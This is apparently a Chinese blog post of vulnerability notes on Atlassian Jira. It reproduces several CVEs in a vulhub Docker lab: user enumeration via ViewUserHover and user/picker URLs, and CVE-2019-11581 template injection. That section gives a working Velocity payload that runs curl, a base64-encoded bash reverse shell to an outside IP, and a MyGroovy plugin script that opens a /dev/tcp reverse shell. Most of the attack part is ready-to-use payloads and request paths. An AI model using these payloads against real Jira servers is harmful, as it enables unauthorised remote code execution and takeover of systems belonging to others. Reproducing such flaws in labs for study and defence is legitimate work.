漏洞笔记--Jira 相关漏洞复现及利用

简介

Atlassian Jira是企业广泛使用的项目与事务跟踪工具,被广泛应用于缺陷跟踪、客户服务、需求收集、流程审批、任务跟踪、项目跟踪和敏捷管理等工作领域。

产品快速搭建

为了方便省时间,我们可以利用vulhub靶场去启用jira的漏洞环境
拉取vulhub

git clone https://github.com/vulhub/vulhub.git

cd vulhub-master/jira/CVE-2019-11581/

docker-compose up -d

容器启动后访问IP:8080就可以访问到jira登录界面了。
初次访问需要安装,根据提示jira官网注册一个账号,然后利用账号申请一个可以试用30天的license,最终完成所有配置,进入系统

漏洞整理

未经身份验证用户名枚举漏洞(CVE-2020-14181)

影响版本

Jira < 7.13.6 Jira 8.0.0 - 8.5.7 Jira 8.6.0 - 8.12.0

漏洞复现

访问

http://192.168.221.132:8080/secure/ViewUserHover.jspa?username=user

提示用户不存在

访问

http://192.168.221.132:8080/secure/ViewUserHover.jspa?username=admin

发现存在admin用户

信息泄露(用户名枚举 CVE-2019-3403)

访问

http://192.168.221.132:8080/rest/api/2/user/picker?query=test

未检索到用户

访问

http://192.168.221.132:8080/rest/api/2/user/picker?query=admin

成功检索到用户

Atlassian JIRA服务器模板注入(CVE-2019-11581)

利用条件:

已开启联系管理员表单

漏洞复现

开启方式:

管理员登录后访问

http://xx.xx.xx.xx:8080/secure/admin/VerifySmtpServerConnection!add.jspa

进入配置界面

先配置好SMTP
接着访问

http://xx.xx.xx.xx:8080/secure/admin/EditApplicationProperties!default.jspa

开启表单

接着未登录的情况下访问

http://xx.xx.xx.xx:8080/secure/ContactAdministrators!default.jspa

成功访问到表单

填入poc

$i18n.getClass().forName(‘java.lang.Runtime’).getMethod(‘getRuntime’,null).invoke(null,null).exec(‘curl 172.20.0.1:8888’).waitFor()

在另一台机器上监听8888端口,发送表单

稍等一会成功收到请求。

接下来我们来反弹shell

进行反弹操作时,由于Runtime.getRuntime().exec()不能执行管道命令的问题,需要将exec内的命令进行base64编码

exp:

$i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec("bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzE3Mi4yMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}").waitFor()

发出请求后成功反弹回shell

该漏洞在后台也有利用点
http://xx.xx.xx.xx:8080/secure/admin/SendBulkMail!default.jspa

利用MyGroovy插件进行getshell

管理插件接口地址
http://xx.xx.xx.xx:8080/plugins/servlet/upm?source=side_nav_manage_addons

查看jira对应版本接口地址
http://xx.xx.xx.xx:8080/secure/admin/ViewSystemInfo.jspa

接着下载对应版本的插件

https://marketplace.atlassian.com/apps/1218755/mygroovy/version-history

接着从插件管理界面上传安装该插件

安装成功后,进入MyGroovy console执行反弹脚本,如下

def r = Runtime.getRuntime()
def p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/172.20.0.1/3333;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

  • 0
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
Docker-compose是一个用于定义和运行多个容器应用的工具,能够简化容器化应用的部署与管理过程。而Jira和Confluence是Atlassian公司开发的两个知名的协同办公工具。 Jira是一个专业的项目管理工具,可以帮助团队进行需求管理、任务分配、缺陷跟踪等工作。使用Docker-compose可以方便地部署Jira容器,并配置所需的环境参数,例如数据库连接、内存分配等。通过定义相关的容器服务,可以实现快速搭建和管理Jira应用,减少了环境配置和部署的工作量。 Confluence是一个企业知识管理平台,可以用于团队和组织的文档协作、知识共享、项目文档等。与Jira类似,使用Docker-compose可以轻松地配置和部署Confluence容器,并设置相关的容器服务。通过这种方式,可以快速创建和管理Confluence应用,提高了协同办公的效率。 使用Docker-compose来部署Jira和Confluence有以下几个优点: 1. 声明式配置:通过Docker-compose的YAML文件,可以清晰地定义Jira和Confluence的各种配置项,使部署过程更加可控和可重复。 2. 快速部署和扩展:Docker-compose可以同时启动多个容器实例,可以根据实际需求轻松扩容和缩容。这样可以在需要时快速部署新的Jira和Confluence实例,提高应用的可用性和性能。 3. 环境隔离:Docker容器提供了强大的隔离性,每个应用实例都运行在独立的容器内。这样可以避免应用之间的相互影响,增强了应用的稳定性和安全性。 总之,通过使用Docker-compose来部署Jira和Confluence,可以简化应用的部署和管理,提高开发和协同办公的效率,并且具备良好的可扩展性和隔离性。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值